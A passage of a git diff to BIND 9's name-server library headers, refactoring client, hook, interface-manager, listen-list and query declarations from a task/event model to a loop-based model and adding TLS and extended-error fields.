+	ns_server_t   *sctx;
+	isc_refcount_t references;
+	uint32_t       tid;
+	isc_loop_t    *loop;
 
 	dns_aclenv_t *aclenv;
 
-	/* Lock covers manager state. */
-	isc_mutex_t lock;
-	bool	    exiting;
-
 	/* Lock covers the recursing list */
 	isc_mutex_t   reclock;
 	client_list_t recursing; /*%< Recursing clients */
@@ -170,44 +161,34 @@ struct ns_clientmgr {
 /*% nameserver client structure */
 struct ns_client {
 	unsigned int	 magic;
-	isc_mem_t *	 mctx;
-	int		 tid;
-	bool		 allocated; /* Do we need to free it? */
-	ns_server_t *	 sctx;
-	ns_clientmgr_t * manager;
+	ns_clientmgr_t	*manager;
 	ns_clientstate_t state;
-	int		 nupdates;
 	bool		 nodetach;
-	bool		 shuttingdown;
 	unsigned int	 attributes;
-	isc_task_t *	 task;
-	dns_view_t *	 view;
-	dns_dispatch_t * dispatch;
-	isc_nmhandle_t * handle;	/* Permanent pointer to handle */
-	isc_nmhandle_t * sendhandle;	/* Waiting for send callback */
-	isc_nmhandle_t * reqhandle;	/* Waiting for request callback
-					   (query, update, notify) */
-	isc_nmhandle_t *fetchhandle;	/* Waiting for recursive fetch */
-	isc_nmhandle_t *prefetchhandle; /* Waiting for prefetch / rpzfetch */
-	isc_nmhandle_t *updatehandle;	/* Waiting for update callback */
-	unsigned char * tcpbuf;
-	dns_message_t * message;
-	unsigned char * sendbuf;
+	dns_view_t	*view;
+	dns_dispatch_t	*dispatch;
+	isc_nmhandle_t	*handle;      /* Permanent pointer to handle */
+	isc_nmhandle_t	*sendhandle;  /* Waiting for send callback */
+	isc_nmhandle_t	*reqhandle;   /* Waiting for request callback
+					 (query, update, notify) */
+	isc_nmhandle_t *updatehandle; /* Waiting for update callback */
+	unsigned char  *tcpbuf;
+	size_t		tcpbuf_size;
+	dns_message_t  *message;
+	unsigned char  *sendbuf;
 	dns_rdataset_t *opt;
+	dns_ednsopt_t  *ede;
 	uint16_t	udpsize;
 	uint16_t	extflags;
 	int16_t		ednsversion; /* -1 noedns */
+	uint16_t	additionaldepth;
 	void (*cleanup)(ns_client_t *);
-	void (*shutdown)(void *arg, isc_result_t result);
-	void *	      shutdown_arg;
 	ns_query_t    query;
 	isc_time_t    requesttime;
 	isc_stdtime_t now;
 	isc_time_t    tnow;
 	dns_name_t    signername; /*%< [T]SIG key name */
-	dns_name_t *  signer;	  /*%< NULL if not valid sig */
-	bool	      mortal;	  /*%< Die after handling request */
-	isc_quota_t * recursionquota;
+	dns_name_t   *signer;	  /*%< NULL if not valid sig */
 
 	isc_sockaddr_t peeraddr;
 	bool	       peeraddr_valid;
@@ -216,8 +197,6 @@ struct ns_client {
 
 	dns_ecs_t ecs; /*%< EDNS client subnet sent by client */
 
-	struct in6_pktinfo pktinfo;
-	isc_dscp_t	   dscp;
 	/*%
 	 * Information about recent FORMERR response(s), for
 	 * FORMERR loop avoidance.  This is separate for each
@@ -257,7 +236,8 @@ struct ns_client {
 #define NS_CLIENTATTR_MULTICAST	 0x00008 /*%< recv'd from multicast */
 #define NS_CLIENTATTR_WANTDNSSEC 0x00010 /*%< include dnssec records */
 #define NS_CLIENTATTR_WANTNSID	 0x00020 /*%< include nameserver ID */
-/* Obsolete: NS_CLIENTATTR_FILTER_AAAA	0x00040 */
+#define NS_CLIENTATTR_BADCOOKIE \
+	0x00040 /*%< Presented cookie is bad/out-of-date */
 /* Obsolete: NS_CLIENTATTR_FILTER_AAAA_RC 0x00080 */
 #define NS_CLIENTATTR_WANTAD	   0x00100 /*%< want AD in response if possible */
 #define NS_CLIENTATTR_WANTCOOKIE   0x00200 /*%< return a COOKIE */
@@ -269,8 +249,7 @@ struct ns_client {
 #define NS_CLIENTATTR_WANTPAD	   0x08000 /*%< pad reply */
 #define NS_CLIENTATTR_USEKEEPALIVE 0x10000 /*%< use TCP keepalive */
 
-#define NS_CLIENTATTR_NOSETFC	0x20000 /*%< don't set servfail cache */
-#define NS_CLIENTATTR_RECURSING 0x40000 /*%< client is recursing */
+#define NS_CLIENTATTR_NOSETFC 0x20000 /*%< don't set servfail cache */
 
 /*
  * Flag to use with the SERVFAIL cache to indicate
@@ -278,7 +257,7 @@ struct ns_client {
  */
 #define NS_FAILCACHE_CD 0x01
 
-LIBNS_EXTERNAL_DATA extern atomic_uint_fast64_t ns_client_requests;
+extern atomic_uint_fast64_t ns_client_requests;
 
 /***
  *** Functions
@@ -315,16 +294,16 @@ ns_client_error(ns_client_t *client, isc_result_t result);
  */
 
 void
-ns_client_drop(ns_client_t *client, isc_result_t result);
+ns_client_extendederror(ns_client_t *client, uint16_t code, const char *text);
 /*%<
- * Log the reason the current client request has failed; no response
- * will be sent.
+ * Set extended error with INFO-CODE <code> and EXTRA-TEXT <text>.
  */
 
-bool
-ns_client_shuttingdown(ns_client_t *client);
+void
+ns_client_drop(ns_client_t *client, isc_result_t result);
 /*%<
- * Return true iff the client is currently shutting down.
+ * Log the reason the current client request has failed; no response
+ * will be sent.
  */
 
 isc_result_t
@@ -342,18 +321,17 @@ ns_client_settimeout(ns_client_t *client, unsigned int seconds);
  */
 
 isc_result_t
-ns_clientmgr_create(ns_server_t *sctx, isc_taskmgr_t *taskmgr,
-		    isc_timermgr_t *timermgr, dns_aclenv_t *aclenv, int tid,
-		    ns_clientmgr_t **managerp);
+ns_clientmgr_create(ns_server_t *sctx, isc_loopmgr_t *loopmgr,
+		    dns_aclenv_t *aclenv, int tid, ns_clientmgr_t **managerp);
 /*%<
  * Create a client manager.
  */
 
 void
-ns_clientmgr_destroy(ns_clientmgr_t **managerp);
+ns_clientmgr_shutdown(ns_clientmgr_t *manager);
 /*%<
- * Destroy a client manager and all ns_client_t objects
- * managed by it.
+ * Shutdown a client manager and all ns_client_t objects
+ * managed by it
  */
 
 isc_sockaddr_t *
@@ -471,8 +449,8 @@ ns_client_addopt(ns_client_t *client, dns_message_t *message,
  */
 
 void
-ns__client_request(isc_nmhandle_t *handle, isc_result_t eresult,
-		   isc_region_t *region, void *arg);
+ns_client_request(isc_nmhandle_t *handle, isc_result_t eresult,
+		  isc_region_t *region, void *arg);
 
 /*%<
  * Handle client requests.
@@ -553,6 +531,8 @@ ns_client_findversion(ns_client_t *client, dns_db_t *db);
  * allocated by ns_client_newdbversion().
  */
 
+ISC_REFCOUNT_DECL(ns_clientmgr);
+
 isc_result_t
 ns__client_setup(ns_client_t *client, ns_clientmgr_t *manager, bool new);
 /*%<
@@ -571,5 +551,3 @@ ns__client_put_cb(void *client0);
  * Free all resources allocated to this client object, so that
  * it can be freed.
  */
-
-#endif /* NS_CLIENT_H */
diff --git a/lib/ns/include/ns/events.h b/lib/ns/include/ns/events.h
deleted file mode 100644
index 8d3736cfeb..0000000000
--- a/lib/ns/include/ns/events.h
+++ /dev/null
@@ -1,25 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#ifndef NS_EVENTS_H
-#define NS_EVENTS_H 1
-
-#include <isc/eventclass.h>
-
-/*! \file ns/events.h
- * \brief
- * Registry of NS event numbers.
- */
-
-#define NS_EVENT_CLIENTCONTROL (ISC_EVENTCLASS_NS + 0)
-#define NS_EVENT_HOOKASYNCDONE (ISC_EVENTCLASS_NS + 1)
-
-#endif /* NS_EVENTS_H */
diff --git a/lib/ns/include/ns/hooks.h b/lib/ns/include/ns/hooks.h
index 425d248449..3d34a962e0 100644
--- a/lib/ns/include/ns/hooks.h
+++ b/lib/ns/include/ns/hooks.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,19 +11,16 @@
  * information regarding copyright ownership.
  */
 
-#ifndef NS_HOOKS_H
-#define NS_HOOKS_H 1
+#pragma once
 
 /*! \file */
 
 #include <stdbool.h>
 
-#include <isc/event.h>
 #include <isc/list.h>
 #include <isc/magic.h>
 #include <isc/mem.h>
 #include <isc/result.h>
-#include <isc/task.h>
 
 #include <dns/rdatatype.h>
 
@@ -197,15 +196,15 @@
  * asynchronous event by calling ns_query_hookasync().  This is similar
  * to ns_query_recurse(), but more generic.  ns_query_hookasync() will
  * call the 'runasync' function with a specified 'arg' (both passed to
- * ns_query_hookasync()) and a set of task and associated event arguments
+ * ns_query_hookasync()) and a set of loop and associated event arguments
  * to be called to resume query handling upon completion of the
  * asynchronous event.
  *
  * The implementation of 'runasync' is assumed to allocate and build an
- * instance of ns_hook_resevent_t whose action, arg, and task are set to
+ * instance of ns_hook_resume_t whose callback, arg, and loop are set to
  * the passed values from ns_query_hookasync().  Other fields of
- * ns_hook_resevent_t must be correctly set in the hook implementation
- * by the time it's sent to the specified task:
+ * ns_hook_resume_t must be correctly set in the hook implementation
+ * by the time it's sent to the specified loop:
  *
  * - hookpoint: the point from which the query handling should be resumed
  *   (which should usually be the hook point that triggered the asynchronous
@@ -228,7 +227,7 @@
  * NS_HOOK_RETURN to suspend the query handling.
  *
  * On the completion of the asynchronous event, the hook implementation is
- * supposed to send the resumeevent to the corresponding task.  The query
+ * supposed to send the resumeevent to the corresponding loop.  The query
  * module resumes the query handling so that the hook action of the
  * specified hook point will be called, skipping some intermediate query
  * handling steps.  So, typically, the same hook action will be called
@@ -241,7 +240,7 @@
  *
  * typedef struct hookstate {
  * 	bool async;
- *	ns_hook_resevent_t *rev
+ *	ns_hook_resume_t *rev
  *	ns_hookpoint_t hookpoint;
  *	isc_result_t origresult;
  * } hookstate_t;
@@ -275,28 +274,30 @@
  * And the 'runasync' function would be something like this:
  *
  * static isc_result_t
- * runasync(query_ctx_t *qctx, void *arg, isc_taskaction_t action,
- *	    void *evarg, isc_task_t *task, ns_hookasync_t **ctxp) {
+ * runasync(query_ctx_t *qctx, void *arg, isc_job_cb cb, void *evarg,
+ * 	    isc_loop_t *loop, ns_hookasync_t **ctxp) {
  * 	hookstate_t *state = arg;
- *	ns_hook_resevent_t *rev = isc_event_allocate(
- *		mctx, task, NS_EVENT_HOOKASYNCDONE, action, evarg,
- *		sizeof(*rev));
+ *	ns_hook_resume_t *rev isc_mem_get(mctx, sizeof(*rev));
  *	ns_hookasync_t *ctx = isc_mem_get(mctx, sizeof(*ctx));
  *
- *	*ctx = (ns_hookasync_t){ .private = NULL };
+ *	*ctx = (ns_hookasync_t){ .private = NULL
+ *                               .hookpoint = state->hookpoint,
+ *                               .origresult = state->origresult,
+ *                               .saved_ctx = qctx,
+ *                               .ctx = ctx,
+ *                               .loop = loop,
+ *                               .cb = cb,
+ *                               .arg = cbarg
+ *	};
  *	isc_mem_attach(mctx, &ctx->mctx);
+ *
  *	ctx->cancel = ...;  // set the cancel function, which cancels the
  *			    // internal asynchronous event (if necessary).
  *			    // it should eventually result in sending
- *			    // the 'rev' event to the calling task.
+ *			    // the 'rev' event to the calling loop.
  *	ctx->destroy = ...; // set the destroy function, which frees 'ctx'
  *
- *	rev->hookpoint = state->hookpoint;
- *	rev->origresult = state->origresult;
- *	rev->saved_qctx = qctx;
- *	rev->ctx = ctx;
- *
- *	state->rev = rev; // store the resume event so we can send it later
+ *	state->rev = rev; // store the resume state so we can send it later
  *
  *	// initiate some asynchronous process here - for example, a
  *	// recursive fetch.
@@ -311,8 +312,7 @@
  *
  * static void
  * asyncproc_done(hookstate_t *state) {
- *	isc_event_t *ev = (isc_event_t *)state->rev;
- *	isc_task_send(ev->ev_sender, &ev);
+ *	isc_async_run(state->rev->loop, state->rev->cb, state->rev->arg);
  * }
  *
  * Caveats:
@@ -397,9 +397,9 @@ typedef ns_hookresult_t (*ns_hook_action_t)(void *arg, void *data,
 					    isc_result_t *resultp);
 
 typedef struct ns_hook {
-	isc_mem_t *	 mctx;
+	isc_mem_t	*mctx;
 	ns_hook_action_t action;
-	void *		 action_data;
+	void		*action_data;
 	ISC_LINK(struct ns_hook) link;
 } ns_hook_t;
 
@@ -410,7 +410,7 @@ typedef ns_hooklist_t ns_hooktable_t[NS_HOOKPOINTS_COUNT];
  * ns__hook_table is a global hook table, which is used if view->hooktable
  * is NULL.  It's intended only for use by unit tests.
  */
-LIBNS_EXTERNAL_DATA extern ns_hooktable_t *ns__hook_table;
+extern ns_hooktable_t *ns__hook_table;
 
 typedef void (*ns_hook_cancelasync_t)(ns_hookasync_t *);
 typedef void (*ns_hook_destroyasync_t)(ns_hookasync_t **);
@@ -435,15 +435,17 @@ struct ns_hookasync {
 
 /*
  * isc_event to be sent on the completion of a hook-initiated asyncronous
- * process, similar to dns_fetchevent_t.
+ * process, similar to dns_fetchresponse_t.
  */
-typedef struct ns_hook_resevent {
-	ISC_EVENT_COMMON(struct ns_hook_resevent);
+typedef struct ns_hook_resume {
 	ns_hookasync_t *ctx;	   /* asynchronous processing context */
 	ns_hookpoint_t	hookpoint; /* hook point from which to resume */
 	isc_result_t origresult; /* result code at the point of call to hook */
 	query_ctx_t *saved_qctx; /* qctx at the point of call to hook */
-} ns_hook_resevent_t;
+	isc_loop_t  *loop;	 /* loopmgr loop to resume in */
+	isc_job_cb   cb;	 /* callback function */
+	void	    *arg;	 /* argument to pass to the callback */
+} ns_hook_resume_t;
 
 /*
  * Plugin API version
@@ -454,7 +456,7 @@ typedef struct ns_hook_resevent {
  * as well; if not, set NS_PLUGIN_AGE to 0.
  */
 #ifndef NS_PLUGIN_VERSION
-#define NS_PLUGIN_VERSION 1
+#define NS_PLUGIN_VERSION 2
 #define NS_PLUGIN_AGE	  0
 #endif /* ifndef NS_PLUGIN_VERSION */
 
@@ -609,4 +611,3 @@ ns_hooktable_create(isc_mem_t *mctx, ns_hooktable_t **tablep);
 /*%<
  * Allocate and initialize a hook table.
  */
-#endif /* NS_HOOKS_H */
diff --git a/lib/ns/include/ns/interfacemgr.h b/lib/ns/include/ns/interfacemgr.h
index c6482e2040..651f4d429b 100644
--- a/lib/ns/include/ns/interfacemgr.h
+++ b/lib/ns/include/ns/interfacemgr.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -41,14 +43,15 @@
 
 #include <stdbool.h>
 
+#include <isc/loop.h>
 #include <isc/magic.h>
 #include <isc/mem.h>
 #include <isc/netmgr.h>
 #include <isc/refcount.h>
-#include <isc/socket.h>
+#include <isc/result.h>
+#include <isc/sockaddr.h>
 
 #include <dns/geoip.h>
-#include <dns/result.h>
 
 #include <ns/listenlist.h>
 #include <ns/types.h>
@@ -60,7 +63,8 @@
 #define IFACE_MAGIC	      ISC_MAGIC('I', ':', '-', ')')
 #define NS_INTERFACE_VALID(t) ISC_MAGIC_VALID(t, IFACE_MAGIC)
 
-#define NS_INTERFACEFLAG_ANYADDR 0x01U /*%< bound to "any" address */
+#define NS_INTERFACEFLAG_ANYADDR   0x01U /*%< bound to "any" address */
+#define NS_INTERFACEFLAG_LISTENING 0x02U /*%< listening */
 #define MAX_UDP_DISPATCH                           \
 	128 /*%< Maximum number of UDP dispatchers \
 	     *           to start per interface */
@@ -69,28 +73,24 @@ struct ns_interface {
 	unsigned int	   magic; /*%< Magic number. */
 	ns_interfacemgr_t *mgr;	  /*%< Interface manager. */
 	isc_mutex_t	   lock;
-	isc_refcount_t	   references;
 	unsigned int	   generation; /*%< Generation number. */
 	isc_sockaddr_t	   addr;       /*%< Address and port. */
 	unsigned int	   flags;      /*%< Interface flags */
 	char		   name[32];   /*%< Null terminated. */
-	dns_dispatch_t *   udpdispatch[MAX_UDP_DISPATCH];
-	/*%< UDP dispatchers. */
-	isc_socket_t *	tcpsocket; /*%< TCP socket. */
-	isc_nmsocket_t *udplistensocket;
-	isc_nmsocket_t *tcplistensocket;
-	isc_nmsocket_t *http_listensocket;
-	isc_nmsocket_t *http_secure_listensocket;
-	isc_dscp_t	dscp;	       /*%< "listen-on" DSCP value */
-	isc_refcount_t	ntcpaccepting; /*%< Number of clients
-					*   ready to accept new
-					*   TCP connections on this
-					*   interface */
-	isc_refcount_t ntcpactive;     /*%< Number of clients
-					*   servicing TCP queries
-					*   (whether accepting or
-					*   connected) */
-	int nudpdispatch;	       /*%< Number of UDP dispatches */
+	isc_nmsocket_t	  *udplistensocket;
+	isc_nmsocket_t	  *tcplistensocket;
+	isc_nmsocket_t	  *http_listensocket;
+	isc_nmsocket_t	  *http_secure_listensocket;
+	isc_quota_t	  *http_quota;
+	isc_refcount_t	   ntcpaccepting; /*%< Number of clients
+					   *   ready to accept new
+					   *   TCP connections on this
+					   *   interface */
+	isc_refcount_t ntcpactive;	  /*%< Number of clients
+					   *   servicing TCP queries
+					   *   (whether accepting or
+					   *   connected) */
+	ns_clientmgr_t *clientmgr;	  /*%< Client manager. */
 	ISC_LINK(ns_interface_t) link;
 };
 
@@ -100,11 +100,10 @@ struct ns_interface {
 
 isc_result_t
 ns_interfacemgr_create(isc_mem_t *mctx, ns_server_t *sctx,
-		       isc_taskmgr_t *taskmgr, isc_timermgr_t *timermgr,
-		       isc_socketmgr_t *socketmgr, isc_nm_t *nm,
-		       dns_dispatchmgr_t *dispatchmgr, isc_task_t *task,
-		       unsigned int udpdisp, dns_geoip_databases_t *geoip,
-		       int ncpus, ns_interfacemgr_t **mgrp);
+		       isc_loopmgr_t *loopmgr, isc_nm_t *nm,
+		       dns_dispatchmgr_t     *dispatchmgr,
+		       dns_geoip_databases_t *geoip, bool scan,
+		       ns_interfacemgr_t **mgrp);
 /*%<
  * Create a new interface manager.
  *
@@ -128,39 +127,21 @@ ns_interfacemgr_setbacklog(ns_interfacemgr_t *mgr, int backlog);
  * Set the size of the listen() backlog queue.
  */
 
-bool
-ns_interfacemgr_islistening(ns_interfacemgr_t *mgr);
-/*%<
- * Return if the manager is listening on any interface. It can be called
- * after a scan or adjust.
- */
-
 isc_result_t
-ns_interfacemgr_scan(ns_interfacemgr_t *mgr, bool verbose);
+ns_interfacemgr_scan(ns_interfacemgr_t *mgr, bool verbose, bool config);
 /*%<
  * Scan the operatings system's list of network interfaces
  * and create listeners when new interfaces are discovered.
  * Shut down the sockets for interfaces that go away.
  *
+ * When 'config' is true, also shut down and recreate any existing TLS and HTTPS
+ * interfaces in order to use their new configuration.
+ *
  * This should be called once on server startup and then
  * periodically according to the 'interface-interval' option
  * in named.conf.
  */
 
-isc_result_t
-ns_interfacemgr_adjust(ns_interfacemgr_t *mgr, ns_listenlist_t *list,
-		       bool verbose);
-/*%<
- * Similar to ns_interfacemgr_scan(), but this function also tries to see the
- * need for an explicit listen-on when a list element in 'list' is going to
- * override an already-listening a wildcard interface.
- *
- * This function does not update localhost and localnets ACLs.
- *
- * This should be called once on server startup, after configuring views and
- * zones.
- */
-
 void
 ns_interfacemgr_setlistenon4(ns_interfacemgr_t *mgr, ns_listenlist_t *value);
 /*%<
@@ -178,12 +159,6 @@ ns_interfacemgr_setlistenon6(ns_interfacemgr_t *mgr, ns_listenlist_t *value);
 dns_aclenv_t *
 ns_interfacemgr_getaclenv(ns_interfacemgr_t *mgr);
 
-void
-ns_interface_attach(ns_interface_t *source, ns_interface_t **target);
-
-void
-ns_interface_detach(ns_interface_t **targetp);
-
 void
 ns_interface_shutdown(ns_interface_t *ifp);
 /*%<
@@ -211,11 +186,18 @@ ns_interfacemgr_getclientmgr(ns_interfacemgr_t *mgr);
  * (This cannot be run from outside a network manager thread.)
  */
 
-ns_interface_t *
-ns__interfacemgr_getif(ns_interfacemgr_t *mgr);
-ns_interface_t *
-ns__interfacemgr_nextif(ns_interface_t *ifp);
+bool
+ns_interfacemgr_dynamic_updates_are_reliable(void);
+/*%<
+ * Returns 'true' if periodic interface re-scans timer should be
+ * disabled. That is the case on the platforms where kernel-based
+ * mechanisms for tracking networking interface states is reliable enough.
+ */
+
+void
+ns_interface_create(ns_interfacemgr_t *mgr, isc_sockaddr_t *addr,
+		    const char *name, ns_interface_t **ifpret);
 /*%<
- * Functions to allow external callers to walk the interfaces list.
- * (Not intended for use outside this module and associated tests.)
+ * Create an interface 'name' associated with address 'addr'. If
+ * 'name' is NULL then it is set to "default".
  */
diff --git a/lib/ns/include/ns/lib.h b/lib/ns/include/ns/lib.h
deleted file mode 100644
index bb3a7867ef..0000000000
--- a/lib/ns/include/ns/lib.h
+++ /dev/null
@@ -1,35 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#pragma once
-
-/*! \file include/ns/lib.h */
-
-#include <isc/lang.h>
-#include <isc/types.h>
-
-ISC_LANG_BEGINDECLS
-
-LIBNS_EXTERNAL_DATA extern unsigned int ns_pps;
-
-isc_result_t
-ns_lib_init(void);
-/*%<
- * A set of initialization procedures used in the NS library.
- */
-
-void
-ns_lib_shutdown(void);
-/*%<
- * Free temporary resources allocated in ns_lib_init().
- */
-
-ISC_LANG_ENDDECLS
diff --git a/lib/ns/include/ns/listenlist.h b/lib/ns/include/ns/listenlist.h
index 8393d67980..5d0a19b285 100644
--- a/lib/ns/include/ns/listenlist.h
+++ b/lib/ns/include/ns/listenlist.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef NS_LISTENLIST_H
-#define NS_LISTENLIST_H 1
+#pragma once
 
 /*****
 ***** Module Info
@@ -40,14 +41,16 @@ typedef struct ns_listenelt  ns_listenelt_t;
 typedef struct ns_listenlist ns_listenlist_t;
 
 struct ns_listenelt {
-	isc_mem_t *   mctx;
-	in_port_t     port;
-	bool	      is_http;
-	isc_dscp_t    dscp; /* -1 = not set, 0..63 */
-	dns_acl_t *   acl;
-	isc_tlsctx_t *sslctx;
-	char **	      http_endpoints;
-	size_t	      http_endpoints_number;
+	isc_mem_t	   *mctx;
+	in_port_t	    port;
+	bool		    is_http;
+	dns_acl_t	   *acl;
+	isc_tlsctx_t	   *sslctx;
+	isc_tlsctx_cache_t *sslctx_cache;
+	char		  **http_endpoints;
+	size_t		    http_endpoints_number;
+	uint32_t	    http_max_clients;
+	uint32_t	    max_concurrent_streams;
 	ISC_LINK(ns_listenelt_t) link;
 };
 
@@ -57,23 +60,45 @@ struct ns_listenlist {
 	ISC_LIST(ns_listenelt_t) elts;
 };
 
+typedef struct ns_listen_tls_params {
+	const char *name;
+	const char *key;
+	const char *cert;
+	const char *ca_file;
+	uint32_t    protocols;
+	const char *dhparam_file;
+	const char *ciphers;
+	bool	    prefer_server_ciphers;
+	bool	    prefer_server_ciphers_set;
+	bool	    session_tickets;
+	bool	    session_tickets_set;
+} ns_listen_tls_params_t;
+
 /***
  *** Functions
  ***/
 
 isc_result_t
-ns_listenelt_create(isc_mem_t *mctx, in_port_t port, isc_dscp_t dscp,
-		    dns_acl_t *acl, bool tls, const char *key, const char *cert,
-		    ns_listenelt_t **target);
+ns_listenelt_create(isc_mem_t *mctx, in_port_t port, dns_acl_t *acl,
+		    const uint16_t family, bool tls,
+		    const ns_listen_tls_params_t *tls_params,
+		    isc_tlsctx_cache_t *tlsctx_cache, ns_listenelt_t **target);
 /*%<
  * Create a listen-on list element.
+ *
+ * Requires:
+ * \li	'targetp' is a valid pointer to a pointer containing 'NULL';
+ * \li	'tls_params' is a valid, non-'NULL' pointer if 'tls' equals 'true'.
+ * \li	'tlsctx_cache' is a valid, non-'NULL' pointer if 'tls' equals 'true'.
  */
 
 isc_result_t
-ns_listenelt_create_http(isc_mem_t *mctx, in_port_t http_port, isc_dscp_t dscp,
-			 dns_acl_t *acl, bool tls, const char *key,
-			 const char *cert, char **endpoints, size_t nendpoints,
-			 ns_listenelt_t **target);
+ns_listenelt_create_http(isc_mem_t *mctx, in_port_t http_port, dns_acl_t *acl,
+			 const uint16_t family, bool tls,
+			 const ns_listen_tls_params_t *tls_params,
+			 isc_tlsctx_cache_t *tlsctx_cache, char **endpoints,
+			 size_t nendpoints, const uint32_t max_clients,
+			 const uint32_t max_streams, ns_listenelt_t **target);
 /*%<
  * Create a listen-on list element for HTTP(S).
  */
@@ -103,12 +128,10 @@ ns_listenlist_detach(ns_listenlist_t **listp);
  */
 
 isc_result_t
-ns_listenlist_default(isc_mem_t *mctx, in_port_t port, isc_dscp_t dscp,
-		      bool enabled, ns_listenlist_t **target);
+ns_listenlist_default(isc_mem_t *mctx, in_port_t port, bool enabled,
+		      const uint16_t family, ns_listenlist_t **target);
 /*%<
  * Create a listen-on list with default contents, matching
  * all addresses with port 'port' (if 'enabled' is true),
  * or no addresses (if 'enabled' is false).
  */
-
-#endif /* NS_LISTENLIST_H */
diff --git a/lib/ns/include/ns/log.h b/lib/ns/include/ns/log.h
index 7dc37de038..3ade016a8e 100644
--- a/lib/ns/include/ns/log.h
+++ b/lib/ns/include/ns/log.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,17 +11,16 @@
  * information regarding copyright ownership.
  */
 
-#ifndef NS_LOG_H
-#define NS_LOG_H 1
+#pragma once
 
 /*! \file */
 
 #include <isc/log.h>
 #include <isc/types.h>
 
-LIBNS_EXTERNAL_DATA extern isc_log_t *	     ns_lctx;
-LIBNS_EXTERNAL_DATA extern isc_logcategory_t ns_categories[];
-LIBNS_EXTERNAL_DATA extern isc_logmodule_t   ns_modules[];
+extern isc_log_t	*ns_lctx;
+extern isc_logcategory_t ns_categories[];
+extern isc_logmodule_t	 ns_modules[];
 
 #define NS_LOGCATEGORY_CLIENT	       (&ns_categories[0])
 #define NS_LOGCATEGORY_NETWORK	       (&ns_categories[1])
@@ -69,4 +70,3 @@ ns_log_setcontext(isc_log_t *lctx);
  * Requires:
  *\li	lctx is a valid logging context.
  */
-#endif /* NS_LOG_H */
diff --git a/lib/ns/include/ns/notify.h b/lib/ns/include/ns/notify.h
index e36bdabbee..b7e6f7c6f1 100644
--- a/lib/ns/include/ns/notify.h
+++ b/lib/ns/include/ns/notify.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef NS_NOTIFY_H
-#define NS_NOTIFY_H 1
+#pragma once
 
 #include <ns/client.h>
 
@@ -41,5 +42,3 @@ ns_notify_start(ns_client_t *client, isc_nmhandle_t *handle);
  * Requires
  *\li	client to be valid.
  */
-
-#endif /* NS_NOTIFY_H */
diff --git a/lib/ns/include/ns/query.h b/lib/ns/include/ns/query.h
index cee2e1796c..96bcbf9b39 100644
--- a/lib/ns/include/ns/query.h
+++ b/lib/ns/include/ns/query.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef NS_QUERY_H
-#define NS_QUERY_H 1
+#pragma once
 
 /*! \file */
 
@@ -18,7 +19,6 @@
 
 #include <isc/buffer.h>
 #include <isc/netaddr.h>
-#include <isc/task.h>
 #include <isc/types.h>
 
 #include <dns/rdataset.h>
@@ -30,22 +30,65 @@
 
 /*% nameserver database version structure */
 typedef struct ns_dbversion {
-	dns_db_t *	 db;
+	dns_db_t	*db;
 	dns_dbversion_t *version;
 	bool		 acl_checked;
 	bool		 queryok;
 	ISC_LINK(struct ns_dbversion) link;
 } ns_dbversion_t;
 
+/*%
+ * recursion type; various features can initiate recursion and this enum value
+ * allows common code paths to differentiate between them
+ */
+typedef enum {
+	RECTYPE_NORMAL,
+	RECTYPE_PREFETCH,
+	RECTYPE_RPZ,
+	RECTYPE_STALE_REFRESH,
+	RECTYPE_HOOK,
+	RECTYPE_COUNT,
+} ns_query_rectype_t;
+
+/*%
+ * Helper macros for accessing isc_nmhandle_t pointers for a specific recursion
+ * a given client is associated with.
+ */
+#define HANDLE_RECTYPE_NORMAL(client) \
+	((client)->query.recursions[RECTYPE_NORMAL].handle)
+#define HANDLE_RECTYPE_PREFETCH(client) \
+	((client)->query.recursions[RECTYPE_PREFETCH].handle)
+#define HANDLE_RECTYPE_RPZ(client) \
